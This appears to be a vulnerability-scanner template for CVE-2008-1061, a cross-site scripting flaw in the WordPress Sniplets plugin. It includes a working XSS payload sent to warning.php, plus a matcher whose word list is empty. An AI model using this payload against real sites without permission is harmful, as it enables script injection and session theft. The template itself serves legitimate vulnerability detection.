id: CVE-2008-1061 info: name: WordPress Sniplets <=1.2.2 - Cross-Site Scripting author: dhiyaneshDK severity: medium description: | WordPress Sniplets 1.1.2 and 1.2.2 plugin contains a cross-site scripting vulnerability which allows remote attackers to inject arbitrary web script or HTML via the text parameter to warning.php, notice.php, and inset.php in view/sniplets/, and possibly modules/execute.php; via the url parameter to view/admin/submenu.php; and via the page parameter to view/admin/pager.php. impact: | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. remediation: | Update WordPress Sniplets plugin to the latest version available, which addresses the XSS vulnerability. reference: - https://www.exploit-db.com/exploits/5194 - https://wpscan.com/vulnerability/d0278ebe-e6ae-4f7c-bcad-ba318573f881 - https://nvd.nist.gov/vuln/detail/CVE-2008-1061 - http://securityreason.com/securityalert/3706 - https://exchange.xforce.ibmcloud.com/vulnerabilities/40830 classification: cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:N/I:P/A:N cvss-score: 4.3 cve-id: CVE-2008-1061 cwe-id: CWE-79 epss-score: 0.00663 epss-percentile: 0.77516 cpe: cpe:2.3:a:wordpress:sniplets_plugin:1.1.2:*:*:*:*:*:*:* metadata: max-request: 1 vendor: wordpress product: sniplets_plugin tags: cve2008,cve,xss,wp-plugin,wp,edb,wpscan,wordpress,sniplets http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/sniplets/view/sniplets/warning.php?text=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022100c07b88d7e3aa1c9d5c53f41737e7e208cb59aa378306c866521bb56bda9fe18b022035e5b084b3cbf050383ab1fc8357f77488a61de81d31690d95d986928adcc840:922c64590222798bb761d5b6d8e72950